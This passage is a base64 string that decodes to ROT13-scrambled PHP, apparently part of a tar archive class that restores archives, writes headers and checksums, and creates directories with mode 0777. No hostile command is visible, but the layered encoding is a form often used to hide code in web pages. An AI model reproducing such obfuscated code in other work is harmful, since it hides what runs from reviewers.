JiAhJGVyZmh5Zyl7DQoJCSRndXZmLT5weWJmckd6Y1N2eXIoKTsNCgkJaGF5dmF4KCRndXZmLT5uZXB1dmlyX2FuenIpOw0KCQl9DQoJCWVyZ2hlYSAkZXJmaHlnOw0KCX0NCg0KCXNoYXBndmJhIGVyZmdiZXJOZXB1dmlyKCRjbmd1KXsNCgkJJHN2eXJBbnpyID0gJGd1dmYtPm5lcHV2aXJfYW56cjsNCgkJdnMgKCEkZ3V2Zi0+dmZUbXZjY3JxKXsNCgkJCXZzIChzdnlyX3JrdmZnZigkc3Z5ckFuenIpKXsNCgkJCQl2cyAoJHNjID0gc2JjcmEoJHN2eXJBbnpyLCAnZW8nKSl7DQoJCQkJCSRxbmduID0gc2VybnEoJHNjLCAyKTsNCgkJCQkJc3B5YmZyKCRzYyk7DQoJCQkJCXZzICgkcW5nbiA9PSAnXDM3XDIxMycpew0KCQkJCQkJJGd1dmYtPnZmVG12Y2NycSA9IGdlaHI7DQoJCQkJCX0NCgkJCQl9DQoJCQl9DQoJCQlyeWZydnMgKChmaG9mZ2UoJHN2eXJBbnpyLCAtMikgPT0gJ3RtJykgQkUgKGZob2ZnZSgkc3Z5ckFuenIsIC0zKSA9PSAnZ3RtJykpICRndXZmLT52ZlRtdmNjcnEgPSBnZWhyOw0KCQl9IA0KCQkkZXJmaHlnID0gZ2VocjsNCgkJdnMgKCRndXZmLT52ZlRtdmNjcnEpICRndXZmLT5nemNfc3Z5ciA9IHRtYmNyYSgkc3Z5ckFuenIsICdlbycpOw0KCQlyeWZyICRndXZmLT5nemNfc3Z5ciA9IHNiY3JhKCRzdnlyQW56ciwgJ2VvJyk7DQoJCXZzICghJGd1dmYtPmd6Y19zdnlyKXsNCgkJCSRndXZmLT5yZWViZWZbXSA9ICRzdnlyQW56ci4nICcuX18oJ3ZmIGFiZyBlcm5xbm95cicpOw0KCQkJZXJnaGVhIHNueWZyOw0KCQl9DQoJCSRlcmZoeWcgPSAkZ3V2Zi0+aGFjbnB4U3Z5ck5lZW5sKCRjbmd1KTsNCgkJCSRndXZmLT5weWJmckd6Y1N2eXIoKTsNCgkJZXJnaGVhICRlcmZoeWc7DQoJfQ0KDQoJc2hhcGd2YmEgZnVialJlZWJlZgkoJHpyZmZudHIgPSAnJykgew0KCQkkUmVlYmVmID0gJGd1dmYtPnJlZWJlZjsNCgkJdnMocGJoYWcoJFJlZWJlZik+MCkgew0KCQl2cyAoIXJ6Y2dsKCR6cmZmbnRyKSkgJHpyZmZudHIgPSAnICgnLiR6cmZmbnRyLicpJzsNCgkJCSR6cmZmbnRyID0gX18oJ1JlZWJlIGJwcGhlZXJxJykuJHpyZmZudHIuJzogPG9lLz4nOw0KCQkJc2Jlcm5wdSAoJFJlZWJlZiBuZiAkaW55aHIpDQoJCQkJJHpyZmZudHIgLj0gJGlueWhyLic8b2UvPic7DQoJCQllcmdoZWEgJHpyZmZudHI7CQ0KCQl9IHJ5ZnIgZXJnaGVhICcnOw0KCQkNCgl9DQoJDQoJc2hhcGd2YmEgY25weFN2eXJOZWVubCgkc3Z5cl9uZWVubCl7DQoJCSRlcmZoeWcgPSBnZWhyOw0KCQl2cyAoISRndXZmLT5nemNfc3Z5cil7DQoJCQkkZ3V2Zi0+cmVlYmVmW10gPSBfXygnVmFpbnl2cSBzdnlyIHFyZnBldmNnYmUnKTsNCgkJCWVyZ2hlYSBzbnlmcjsNCgkJfQ0KCQl2cyAoIXZmX25lZW5sKCRzdnlyX25lZW5sKSB8fCBwYmhhZygkc3Z5cl9uZWVubCk8PTApDQogICAgICAgICAgZXJnaGVhIGdlaHI7DQoJCXNiZSAoJHYgPSAwOyAkdjxwYmhhZygkc3Z5cl9uZWVubCk7ICR2Kyspew0KCQkJJHN2eXJhbnpyID0gJHN2eXJfbmVlbmxbJHZdOw0KCQkJdnMgKCRzdnlyYW56ciA9PSAkZ3V2Zi0+bmVwdXZpcl9hbnpyKQ0KCQkJCXBiYWd2YWhyOw0KCQkJdnMgKGZnZXlyYSgkc3Z5cmFuenIpPD0wKQ0KCQkJCXBiYWd2YWhyOw0KCQkJdnMgKCFzdnlyX3JrdmZnZigkc3Z5cmFuenIpKXsNCgkJCQkkZ3V2Zi0+cmVlYmVmW10gPSBfXygnQWIgc3Z5cicpLicgJy4kc3Z5cmFuenI7DQoJCQkJcGJhZ3ZhaHI7DQoJCQl9DQoJCQl2cyAoISRndXZmLT5nemNfc3Z5cil7DQoJCQkkZ3V2Zi0+cmVlYmVmW10gPSBfXygnVmFpbnl2cSBzdnlyIHFyZnBldmNnYmUnKTsNCgkJCWVyZ2hlYSBzbnlmcjsNCgkJCX0NCgkJdnMgKGZnZXlyYSgkc3Z5cmFuenIpPD0wKXsNCgkJCSRndXZmLT5yZWViZWZbXSA9IF9fKCdTdnlyYW56cicpLicgJy5fXygndmYgdmFwYmVlcnBnJyk7Ow0KCQkJZXJnaGVhIHNueWZyOw0KCQl9DQoJCSRzdnlyYW56ciA9IGZnZV9lcmN5bnByKCdcXCcsICcvJywgJHN2eXJhbnpyKTsNCgkJJHhycmNfc3Z5cmFuenIgPSAkZ3V2Zi0+em54clRiYnFDbmd1KCRzdnlyYW56cik7DQoJCXZzICh2Zl9zdnlyKCRzdnlyYW56cikpew0KCQkJdnMgKCgkc3Z5ciA9IHNiY3JhKCRzdnlyYW56ciwgJ2VvJykpID09IDApew0KCQkJCSRndXZmLT5yZWViZWZbXSA9IF9fKCdaYnFyICcpLl9fKCd2ZiB2YXBiZWVycGcnKTsNCgkJCX0NCgkJCQl2cygoJGd1dmYtPnN2eXJfY2JmID09IDApKXsNCgkJCQkJdnMoISRndXZmLT5qZXZnclVybnFyZSgkc3Z5cmFuenIsICR4cnJjX3N2eXJhbnpyKSkNCgkJCQkJCWVyZ2hlYSBzbnlmcjsNCgkJCQl9DQoJCQkJanV2eXIgKCgkb2hzc3JlID0gc2VybnEoJHN2eXIsIDUxMikpICE9ICcnKXsNCgkJCQkJJG92YW5lbFFuZ24gPSBjbnB4KCduNTEyJywgJG9oc3NyZSk7DQoJCQkJCSRndXZmLT5qZXZnck95YnB4KCRvdmFuZWxRbmduKTsNCgkJCQl9DQoJCQlzcHliZnIoJHN2eXIpOw0KCQl9CXJ5ZnIgJGd1dmYtPmpldmdyVXJucXJlKCRzdnlyYW56ciwgJHhycmNfc3Z5cmFuenIpOw0KCQkJdnMgKEB2Zl9xdmUoJHN2eXJhbnpyKSl7DQoJCQkJdnMgKCEoJHVuYXF5ciA9IGJjcmFxdmUoJHN2eXJhbnpyKSkpew0KCQkJCQkkZ3V2Zi0+cmVlYmVmW10gPSBfXygnUmVlYmUnKS4nOiAnLl9fKCdRdmVycGdiZWwgJykuJHN2eXJhbnpyLl9fKCd2ZiBhYmcgZXJucW5veXInKTsNCgkJCQkJcGJhZ3ZhaHI7DQoJCQkJfQ0KCQkJCWp1dnlyIChzbnlmciAhPT0gKCRxdmUgPSBlcm5xcXZlKCR1bmFxeXIpKSl7DQoJCQkJCXZzICgkcXZlIT0nLicgJiYgJHF2ZSE9Jy4uJyl7DQoJCQkJCQkkc3Z5cl9uZWVubF9nemMgPSBuZWVubCgpOw0KCQkJCQkJdnMgKCRzdnlyYW56ciAhPSAnLicpDQoJCQkJCQkJJHN2eXJfbmVlbmxfZ3pjW10gPSAkc3Z5cmFuenIuJy8nLiRxdmU7DQoJCQkJCQlyeWZyDQoJCQkJCQkJJHN2eXJfbmVlbmxfZ3pjW10gPSAkcXZlOw0KDQoJCQkJCQkkZXJmaHlnID0gJGd1dmYtPmNucHhTdnlyTmVlbmwoJHN2eXJfbmVlbmxfZ3pjKTsNCgkJCQkJfQ0KCQkJCX0NCgkJCQloYWZyZygkc3Z5cl9uZWVubF9nemMpOw0KCQkJCWhhZnJnKCRxdmUpOw0KCQkJCWhhZnJnKCR1bmFxeXIpOw0KCQkJfQ0KCQl9DQoJCWVyZ2hlYSAkZXJmaHlnOw0KCX0NCg0KCXNoYXBndmJhIGhhY25weFN2eXJOZWVubCgkY25ndSl7IA0KCQkkY25ndSA9IGZnZV9lcmN5bnByKCdcXCcsICcvJywgJGNuZ3UpOw0KCQl2cyAoJGNuZ3UgPT0gJycJfHwgKGZob2ZnZSgkY25ndSwgMCwgMSkgIT0gJy8nICYmIGZob2ZnZSgkY25ndSwgMCwgMykgIT0gJy4uLycgJiYgIWZnZWNiZigkY25ndSwgJzonKSkpCSRjbmd1ID0gJy4vJy4kY25ndTsNCgkJcHlybmVmZ25ncG5wdXIoKTsNCgkJanV2eXIgKGZnZXlyYSgkb3ZhbmVsUW5nbiA9ICRndXZmLT5lcm5xT3licHgoKSkgIT0gMCl7DQoJCQl2cyAoISRndXZmLT5lcm5xVXJucXJlKCRvdmFuZWxRbmduLCAkdXJucXJlKSkgZXJnaGVhIHNueWZyOw0KCQkJdnMgKCR1cm5xcmVbJ3N2eXJhbnpyJ10gPT0gJycpIHBiYWd2YWhyOw0KCQkJdnMgKCR1cm5xcmVbJ2dsY3JzeW50J10gPT0gJ1knKXsJCQkvL2VybnF2YXQgeWJhdCB1cm5xcmUNCgkJCQkkc3Z5cmFuenIgPSAnJzsNCgkJCQkkcXJwZSA9IHN5YmJlKCR1cm5xcmVbJ2Z2bXInXS81MTIpOw0KCQkJCXNiZSAoJHYgPSAwOyAkdiA8ICRxcnBlOyAkdisrKXsNCgkJCQkJJHBiYWdyYWcgPSAkZ3V2Zi0+ZXJucU95YnB4KCk7DQoJCQkJCSRzdnlyYW56ciAuPSAkcGJhZ3JhZzsNCgkJCQl9DQoJCQkJdnMgKCgkeW5mY3ZycHIgPSAkdXJucXJlWydmdm1yJ10gJSA1MTIpICE9IDApew0KCQkJCQkkcGJhZ3JhZyA9ICRndXZmLT5lcm5xT3licHgoKTsNCgkJCQkJJHN2eXJhbnpyIC49IGZob2ZnZSgkcGJhZ3JhZywgMCwgJHluZmN2cnByKTsNCgkJCQl9DQoJCQkJJG92YW5lbFFuZ24gPSAkZ3V2Zi0+ZXJucU95YnB4KCk7DQoJCQkJdnMgKCEkZ3V2Zi0+ZXJucVVybnFyZSgkb3ZhbmVsUW5nbiwgJHVybnFyZSkpIGVyZ2hlYSBzbnlmcjsNCgkJCQlyeWZyICR1cm5xcmVbJ3N2eXJhbnpyJ10gPSAkc3Z5cmFuenI7DQoJCQkJZXJnaGVhIGdlaHI7DQoJCQl9DQoJCQl2cyAoKCRjbmd1ICE9ICcuLycpICYmICgkY25ndSAhPSAnLycpKXsNCgkJCQlqdXZ5ciAoZmhvZmdlKCRjbmd1LCAtMSkgPT0gJy8nKSAkY25ndSA9IGZob2ZnZSgkY25ndSwgMCwgZmdleXJhKCRjbmd1KS0xKTsNCgkJCQl2cyAoZmhvZmdlKCR1cm5xcmVbJ3N2eXJhbnpyJ10sIDAsIDEpID09ICcvJykgJHVybnFyZVsnc3Z5cmFuenInXSA9ICRjbmd1LiR1cm5xcmVbJ3N2eXJhbnpyJ107DQoJCQkJcnlmciAkdXJucXJlWydzdnlyYW56ciddID0gJGNuZ3UuJy8nLiR1cm5xcmVbJ3N2eXJhbnpyJ107DQoJCQl9DQoJCQkNCgkJCXZzIChzdnlyX3JrdmZnZigkdXJucXJlWydzdnlyYW56ciddKSl7DQoJCQkJdnMgKChAdmZfcXZlKCR1cm5xcmVbJ3N2eXJhbnpyJ10pKSAmJiAoJHVybnFyZVsnZ2xjcnN5bnQnXSA9PSAnJykpew0KCQkJCQkkZ3V2Zi0+cmVlYmVmW10gPV9fKCdTdnlyICcpLiR1cm5xcmVbJ3N2eXJhbnpyJ10uX18oJyBueWVybnFsIHJrdmZnZicpLl9fKCcgbmYgc2J5cXJlJyk7DQoJCQkJCWVyZ2hlYSBzbnlmcjsNCgkJCQl9DQoJCQkJdnMgKCh2Zl9zdnlyKCR1cm5xcmVbJ3N2eXJhbnpyJ10pKSAmJiAoJHVybnFyZVsnZ2xjcnN5bnQnXSA9PSAnNScpKXsNCgkJCQkJJGd1dmYtPnJlZWJlZltdID1fXygnUG5hYWJnIHBlcm5nciBxdmVycGdiZWwnKS4nLiAnLl9fKCdTdnlyICcpLiR1cm5xcmVbJ3N2eXJhbnpyJ10uX18oJyBueWVybnFsIHJrdmZnZicpOw0KCQkJCQllcmdoZWEgc255ZnI7DQoJCQkJfQ0KCQkJCXZzICghdmZfamV2Z3Jub3lyKCR1cm5xcmVbJ3N2eXJhbnpyJ10pKXsNCgkJCQkJJGd1dmYtPnJlZWJlZltdID0gX18oJ1BuYWFiZyBqZXZnciBnYiBzdnlyJykuJy4gJy5fXygnU3Z5ciAnKS4kdXJucXJlWydzdnlyYW56ciddLl9fKCcgbnllcm5xbCBya3ZmZ2YnKTsNCgkJCQkJZXJnaGVhIHNueWZyOw0KCQkJCX0NCgkJCX0gcnlmcnZzICgoJGd1dmYtPnF2ZVB1cnB4KCgkdXJucXJlWydnbGNyc3ludCddID09ICc1JyA/ICR1cm5xcmVbJ3N2eXJhbnpyJ10gOiBxdmVhbnpyKCR1cm5xcmVbJ3N2eXJhbnpyJ10pKSkpICE9IDEpew0KCQkJCSRndXZmLT5yZWViZWZbXSA9IF9fKCdQbmFhYmcgcGVybmdyIHF2ZXJwZ2JlbCcpLicgJy5fXygnIHNiZSAnKS4kdXJucXJlWydzdnlyYW56ciddOw0KCQkJCWVyZ2hlYSBzbnlmcjsNCgkJCX0NCg0KCQkJdnMgKCR1cm5xcmVbJ2dsY3JzeW50J10gPT0gJzUnKXsNCgkJCQl2cyAoIXN2eXJfcmt2ZmdmKCR1cm5xcmVbJ3N2eXJhbnpyJ10pKQkJew0KCQkJCQl2cyAoIXp4cXZlKCR1cm5xcmVbJ3N2eXJhbnpyJ10sIDA3NzcpKQl7DQoJCQkJCQkNCgkJCQkJCSRndXZmLT5yZWViZWZbXSA9IF9fKCdQbmFhYmcgcGVybmdyIHF2ZXJwZ2JlbCcpLicgJy4kdXJucXJlWydzdnlyYW56ciddOw0KCQkJCQkJZXJnaGVhIHNueWZyOw0KCQkJCQl9IA0KCQkJCX0NCgkJCX0gcnlmciB7DQoJCQkJdnMgKCgkcXJmZ3Zhbmd2YmEgPSBzYmNyYSgkdXJucXJlWydzdnlyYW56ciddLCAnam8nKSkgPT0gMCkgew0KCQkJCQkkZ3V2Zi0+cmVlYmVmW10gPSBfXygnUG5hYWJnIGpldmdyIGdiIHN2eXInKS4nICcuJHVybnFyZVsnc3Z5cmFuenInXTsNCgkJCQkJZXJnaGVhIHNueWZyOw0KCQkJCX0gcnlmciB7DQoJCQkJCSRxcnBlID0gc3liYmUoJHVybnFyZVsnZnZtciddLzUxMik7DQoJCQkJCXNiZSAoJHYgPSAwOyAkdiA8ICRxcnBlOyAkdisrKSB7DQoJCQkJCQkkcGJhZ3JhZyA9ICRndXZmLT5lcm5xT3licHgoKTsNCgkJCQkJCXNqZXZncigkcXJmZ3Zhbmd2YmEsICRwYmFncmFnLCA1MTIpOw0KCQkJCQl9DQoJCQkJCXZzICgoJHVybnFyZVsnZnZtciddICUgNTEyKSAhPSAwKSB7DQoJCQkJCQkkcGJhZ3JhZyA9ICRndXZmLT5lcm5xT3licHgoKTsNCgkJCQkJCXNqZXZncigkcXJmZ3Zhbmd2YmEsICRwYmFncmFnLCAoJHVybnFyZVsnZnZtciddICUgNTEyKSk7DQoJCQkJCX0NCgkJCQkJc3B5YmZyKCRxcmZndmFuZ3ZiYSk7DQoJCQkJCWdiaHB1KCR1cm5xcmVbJ3N2eXJhbnpyJ10sICR1cm5xcmVbJ2d2enInXSk7DQoJCQkJfQ0KCQkJCXB5cm5lZmduZ3BucHVyKCk7DQoJCQkJdnMgKHN2eXJmdm1yKCR1cm5xcmVbJ3N2eXJhbnpyJ10pICE9ICR1cm5xcmVbJ2Z2bXInXSkgew0KCQkJCQkkZ3V2Zi0+cmVlYmVmW10gPSBfXygnRnZtciBicyBzdnlyJykuJyAnLiR1cm5xcmVbJ3N2eXJhbnpyJ10uJyAnLl9fKCd2ZiB2YXBiZWVycGcnKTsNCgkJCQkJZXJnaGVhIHNueWZyOw0KCQkJCX0NCgkJCX0NCgkJCXZzICgoJHN2eXJfcXZlID0gcXZlYW56cigkdXJucXJlWydzdnlyYW56ciddKSkgPT0gJHVybnFyZVsnc3Z5cmFuenInXSkgJHN2eXJfcXZlID0gJyc7DQoJCQl2cyAoKGZob2ZnZSgkdXJucXJlWydzdnlyYW56ciddLCAwLCAxKSA9PSAnLycpICYmICgkc3Z5cl9xdmUgPT0gJycpKSAkc3Z5cl9xdmUgPSAnLyc7DQoJCQkkZ3V2Zi0+cXZlZltdID0gJHN2eXJfcXZlOw0KCQkJJGd1dmYtPnN2eXJmW10gPSAkdXJucXJlWydzdnlyYW56ciddOw0KCQ0KCQl9DQoJCWVyZ2hlYSBnZWhyOw0KCX0NCg0KCXNoYXBndmJhIHF2ZVB1cnB4KCRxdmUpew0KCQkkY25lcmFnX3F2ZSA9IHF2ZWFuenIoJHF2ZSk7DQoNCgkJdnMgKChAdmZfcXZlKCRxdmUpKSBiZSAoJHF2ZSA9PSAnJykpDQoJCQllcmdoZWEgZ2VocjsNCg0KCQl2cyAoKCRjbmVyYWdfcXZlICE9ICRxdmUpIG5hcSAoJGNuZXJhZ19xdmUgIT0gJycpIG5hcSAoISRndXZmLT5xdmVQdXJweCgkY25lcmFnX3F2ZSkpKQ0KCQkJZXJnaGVhIHNueWZyOw0KDQoJCXZzICghenhxdmUoJHF2ZSwgMDc3Nykpew0KCQkJJGd1dmYtPnJlZWJlZltdID0gX18oJ1BuYWFiZyBwZXJuZ3IgcXZlcnBnYmVsJykuJyAnLiRxdmU7DQoJCQllcmdoZWEgc255ZnI7DQoJCX0NCgkJZXJnaGVhIGdlaHI7DQoJfQ0KDQoJc2hhcGd2YmEgZXJucVVybnFyZSgkb3ZhbmVsUW5nbiwgJiR1cm5xcmUpew0KCQl2cyAoZmdleXJhKCRvdmFuZWxRbmduKT09MCl7DQoJCQkkdXJucXJlWydzdnlyYW56ciddID0gJyc7DQoJCQllcmdoZWEgZ2VocjsNCgkJfQ0KDQoJCXZzIChmZ2V5cmEoJG92YW5lbFFuZ24pICE9IDUxMil7DQoJCQkkdXJucXJlWydzdnlyYW56ciddID0gJyc7DQoJCQkkZ3V2Zi0+X18oJ1ZhaW55dnEgb3licHggZnZtcicpLic6ICcuZmdleXJhKCRvdmFuZWxRbmduKTsNCgkJCWVyZ2hlYSBzbnlmcjsNCgkJfQ0KDQoJCSRwdXJweGZoeiA9IDA7DQoJCXNiZSAoJHYgPSAwOyAkdiA8IDE0ODsgJHYrKykgJHB1cnB4Zmh6Kz1iZXEoZmhvZmdlKCRvdmFuZWxRbmduLCAkdiwgMSkpOw0KCQlzYmUgKCR2ID0gMTQ4OyAkdiA8IDE1NjsgJHYrKykgJHB1cnB4Zmh6ICs9IGJlcSgnICcpOw0KCQlzYmUgKCR2ID0gMTU2OyAkdiA8IDUxMjsgJHYrKykgJHB1cnB4Zmh6Kz1iZXEoZmhvZmdlKCRvdmFuZWxRbmduLCAkdiwgMSkpOw0KDQoJCSRoYWNucHhfcW5nbiA9IGhhY25weCgnbjEwMHN2eXJhbnpyL244emJxci9uOGhmcmVfdnEvbjh0ZWJoY192cS9uMTJmdm1yL24xMmd2enIvbjhwdXJweGZoei9uMWdsY3JzeW50L24xMDB5dmF4L242em50dnAvbjJpcmVmdmJhL24zMmhhbnpyL24zMnRhbnpyL244cXJpem53YmUvbjhxcml6dmFiZScsICRvdmFuZWxRbmduKTsNCg0KCQkkdXJucXJlWydwdXJweGZoeiddID0gQnBnUXJwKGdldnooJGhhY25weF9xbmduWydwdXJweGZoeiddKSk7DQoJCXZzICgkdXJucXJlWydwdXJweGZoeiddICE9ICRwdXJweGZoeil7DQoJCQkkdXJucXJlWydzdnlyYW56ciddID0gJyc7DQoJCQl2cyAoKCRwdXJweGZoeiA9PSAyNTYpICYmICgkdXJucXJlWydwdXJweGZoeiddID09IDApKSAJZXJnaGVhIGdlaHI7DQoJCQkkZ3V2Zi0+cmVlYmVmW10gPSBfXygnUmVlYmUgcHVycHhmaHogc2JlIHN2eXIgJykuJGhhY25weF9xbmduWydzdnlyYW56ciddOw0KCQkJZXJnaGVhIHNueWZyOw0KCQl9DQoNCgkJdnMgKCgkdXJucXJlWydnbGNyc3ludCddID0gJGhhY25weF9xbmduWydnbGNyc3ludCddKSA9PSAnNScpCSR1cm5xcmVbJ2Z2bXInXSA9IDA7DQoJCSR1cm5xcmVbJ3N2eXJhbnpyJ10gPSBnZXZ6KCRoYWNucHhfcW5nblsnc3Z5cmFuenInXSk7DQoJCSR1cm5xcmVbJ3picXInXSA9IEJwZ1FycChnZXZ6KCRoYWNucHhfcW5nblsnemJxciddKSk7DQoJCSR1cm5xcmVbJ2hmcmVfdnEnXSA9IEJwZ1FycChnZXZ6KCRoYWNucHhfcW5nblsnaGZyZV92cSddKSk7DQoJCSR1cm5xcmVbJ3RlYmhjX3ZxJ10gPSBCcGdRcnAoZ2V2eigkaGFjbnB4X3FuZ25bJ3RlYmhjX3ZxJ10pKTsNCgkJJHVybnFyZVsnZnZtciddID0gQnBnUXJwKGdldnooJGhhY25weF9xbmduWydmdm1yJ10pKTsNCgkJJHVybnFyZVsnZ3Z6ciddID0gQnBnUXJwKGdldnooJGhhY25weF9xbmduWydndnpyJ10pKTsNCgkJZXJnaGVhIGdlaHI7DQoJfQ0KDQoJc2hhcGd2YmEgamV2Z3JVcm5xcmUoJHN2eXJhbnpyLCAkeHJyY19zdnlyYW56cil7DQoJCSRjbnB4UyA9ICduMTAwbjhuOG44bjEyTjEyJzsNCgkJJGNucHhZID0gJ24xbjEwMG42bjJuMzJuMzJuOG44bjE1NW4xMic7DQoJCXZzIChmZ2V5cmEoJHhycmNfc3Z5cmFuenIpPD0wKSAkeHJyY19zdnlyYW56ciA9ICRzdnlyYW56cjsNCgkJJHN2eXJhbnpyX2VybnFsID0gJGd1dmYtPnpueHJUYmJxQ25ndSgkeHJyY19zdnlyYW56cik7DQoNCgkJdnMgKGZnZXlyYSgkc3Z5cmFuenJfZXJucWwpID4gOTkpewkJCQkJCQkvL2pldmdyIHliYXQgdXJucXJlDQoJCSRxbmduU3ZlZmcgPSBjbnB4KCRjbnB4UywgJy4vLi9ZYmF0WXZheCcsIDAsIDAsIDAsIGZjZXZhZ3MoJyUxMWYgJywgUXJwQnBnKGZnZXlyYSgkc3Z5cmFuenJfZXJucWwpKSksIDApOw0KCQkkcW5nblluZmcgPSBjbnB4KCRjbnB4WSwgJ1knLCAnJywgJycsICcnLCAnJywgJycsICcnLCAnJywgJycsICcnKTsNCg0KICAgICAgICAvLyAgUG55cGh5bmdyIGd1ciBwdXJweGZoeg0KCQkkcHVycHhmaHogPSAwOw0KICAgICAgICAvLyAgU3ZlZmcgY25lZyBicyBndXIgdXJucXJlDQoJCXNiZSAoJHYgPSAwOyAkdiA8IDE0ODsgJHYrKykNCgkJCSRwdXJweGZoeiArPSBiZXEoZmhvZmdlKCRxbmduU3ZlZmcsICR2LCAxKSk7DQogICAgICAgIC8vICBWdGFiZXIgZ3VyIHB1cnB4Zmh6IGlueWhyIG5hcSBlcmN5bnByIHZnIG9sICcgJyAoZmNucHIpDQoJCXNiZSAoJHYgPSAxNDg7ICR2IDwgMTU2OyAkdisrKQ0KCQkJJHB1cnB4Zmh6ICs9IGJlcSgnICcpOw0KICAgICAgICAvLyAgWW5mZyBjbmVnIGJzIGd1ciB1cm5xcmUNCgkJc2JlICgkdiA9IDE1NiwgJHc9MDsgJHYgPCA1MTI7ICR2KyssICR3KyspDQoJCQkkcHVycHhmaHogKz0gYmVxKGZob2ZnZSgkcW5nblluZmcsICR3LCAxKSk7DQogICAgICAgIC8vICBKZXZnciBndXIgc3ZlZmcgMTQ4IG9sZ3JmIGJzIGd1ciB1cm5xcmUgdmEgZ3VyIG5lcHV2aXINCgkJJGd1dmYtPmpldmdyT3licHgoJHFuZ25TdmVmZywgMTQ4KTsNCiAgICAgICAgLy8gIEpldmdyIGd1ciBwbnlwaHluZ3JxIHB1cnB4Zmh6DQoJCSRwdXJweGZoeiA9IGZjZXZhZ3MoJyU2ZiAnLCBRcnBCcGcoJHB1cnB4Zmh6KSk7DQoJCSRvdmFuZWxRbmduID0gY25weCgnbjgnLCAkcHVycHhmaHopOw0KCQkkZ3V2Zi0+amV2Z3JPeWJweCgkb3ZhbmVsUW5nbiwgOCk7DQogICAgICAgIC8vICBKZXZnciBndXIgeW5mZyAzNTYgb2xncmYgYnMgZ3VyIHVybnFyZSB2YSBndXIgbmVwdXZpcg0KCQkkZ3V2Zi0+amV2Z3JPeWJweCgkcW5nblluZmcsIDM1Nik7DQoNCgkJJGd6Y19zdnlyYW56ciA9ICRndXZmLT56bnhyVGJicUNuZ3UoJHN2eXJhbnpyX2VybnFsKTsNCg0KCQkkdiA9IDA7DQoJCQlqdXZ5ciAoKCRvaHNzcmUgPSBmaG9mZ2UoJGd6Y19zdnlyYW56ciwgKCgkdisrKSo1MTIpLCA1MTIpKSAhPSAnJyl7DQoJCQkJJG92YW5lbFFuZ24gPSBjbnB4KCduNTEyJywgJG9oc3NyZSk7DQoJCQkJJGd1dmYtPmpldmdyT3licHgoJG92YW5lbFFuZ24pOw0KCQkJfQ0KCQllcmdoZWEgZ2VocjsNCgkJfQ0KCQkkc3Z5cl92YXNiID0gZmduZygkc3Z5cmFuenIpOw0KCQl2cyAoQHZmX3F2ZSgkc3Z5cmFuenIpKXsNCgkJCSRnbGNyc3ludCA9ICc1JzsNCgkJCSRmdm1yID0gZmNldmFncygnJTExZiAnLCBRcnBCcGcoMCkpOw0KCQl9IHJ5ZnIgew0KCQkJJGdsY3JzeW50ID0gJyc7DQoJCQlweXJuZWZnbmdwbnB1cigpOw0KCQkJJGZ2bXIgPSBmY2V2YWdzKCclMTFmICcsIFFycEJwZyhzdnlyZnZtcigkc3Z5cmFuenIpKSk7DQoJCX0NCgkJJHFuZ25TdmVmZyA9IGNucHgoJGNucHhTLCAkc3Z5cmFuenJfZXJucWwsIGZjZXZhZ3MoJyU2ZiAnLCBRcnBCcGcoc3Z5cmNyZXpmKCRzdnlyYW56cikpKSwgZmNldmFncygnJTZmICcsIFFycEJwZygkc3Z5cl92YXNiWzRdKSksIGZjZXZhZ3MoJyU2ZiAnLCBRcnBCcGcoJHN2eXJfdmFzYls1XSkpLCAkZnZtciwgZmNldmFncygnJTExZicsIFFycEJwZyhzdnlyemd2enIoJHN2eXJhbnpyKSkpKTsNCgkJJHFuZ25ZbmZnID0gY25weCgkY25weFksICRnbGNyc3ludCwgJycsICcnLCAnJywgJycsICcnLCAnJywgJycsICcnLCAnJyk7DQoJCSRwdXJweGZoeiA9IDA7DQoJCXNiZSAoJHYgPSAwOyAkdiA8IDE0ODsgJHYrKykgJHB1cnB4Zmh6ICs9IGJlcShmaG9mZ2UoJHFuZ25TdmVmZywgJHYsIDEpKTsNCgkJc2JlICgkdiA9IDE0ODsgJHYgPCAxNTY7ICR2KyspICRwdXJweGZoeiArPSBiZXEoJyAnKTsNCgkJc2JlICgkdiA9IDE1NiwgJHcgPSAwOyAkdiA8IDUxMjsgJHYrKywgJHcrKykgJHB1cnB4Zmh6ICs9IGJlcShmaG9mZ2UoJHFuZ25ZbmZnLCAkdywgMSkpOw0KCQkkZ3V2Zi0+amV2Z3JPeWJweCgkcW5nblN2ZWZnLCAxNDgpOw0KCQkkcHVycHhmaHogPSBmY2V2YWdzKCclNmYgJywgUXJwQnBnKCRwdXJweGZoeikpOw0KCQkkb3ZhbmVsUW5nbiA9IGNucHgoJ244JywgJHB1cnB4Zmh6KTsNCgkJJGd1dmYtPmpldmdyT3licHgoJG92YW5lbFFuZ24sIDgpOw0KCQkkZ3V2Zi0+amV2Z3JPeWJweCgkcW5nblluZmcsIDM1Nik7DQoJCWVyZ2hlYSBnZWhyOw0KCX0NCg0KCXNoYXBndmJhIGJjcmFKZXZncigpew0KCQl2cyAoJGd1dmYtPnZmVG12Y2NycSkNCgkJCSRndXZmLT5nemNfc3Z5ciA9IHRtYmNyYSgkZ3V2Zi0+bmVwdXZpcl9hbnpyLCAnam85cycpOw0KCQlyeWZyDQoJCQkkZ3V2Zi0+Z3pjX3N2eXIgPSBzYmNyYSgkZ3V2Zi0+bmVwdXZpcl9hbnpyLCAnam8nKTsNCg0KCQl2cyAoISgkZ3V2Zi0+Z3pjX3N2eXIpKXsNCgkJCSRndXZmLT5yZWViZWZbXSA9IF9fKCdQbmFhYmcgamV2Z3IgZ2Igc3Z5cicpLicgJy4kZ3V2Zi0+bmVwdXZpcl9hbnpyOw0KCQkJZXJnaGVhIHNueWZyOw0KCQl9DQoJCWVyZ2hlYSBnZWhyOw0KCX0NCg0KCXNoYXBndmJhIGVybnFPeWJweCgpew0KCQl2cyAodmZfZXJmYmhlcHIoJGd1dmYtPmd6Y19zdnlyKSl7DQoJCQl2cyAoJGd1dmYtPnZmVG12Y2NycSkNCgkJCQkkb3licHggPSB0bWVybnEoJGd1dmYtPmd6Y19zdnlyLCA1MTIpOw0KCQkJcnlmcg0KCQkJCSRveWJweCA9IHNlcm5xKCRndXZmLT5nemNfc3Z5ciwgNTEyKTsNCgkJfSByeWZyCSRveWJweCA9ICcnOw0KDQoJCWVyZ2hlYSAkb3licHg7DQoJfQ0KDQoJc2hhcGd2YmEgamV2Z3JPeWJweCgkcW5nbiwgJHlyYXRndSA9IDApew0KCQl2cyAodmZfZXJmYmhlcHIoJGd1dmYtPmd6Y19zdnlyKSl7DQoJCQ0KCQkJdnMgKCR5cmF0Z3UgPT09IDApew0KCQkJCXZzICgkZ3V2Zi0+dmZUbXZjY3JxKQ0KCQkJCQl0bWNoZ2YoJGd1dmYtPmd6Y19zdn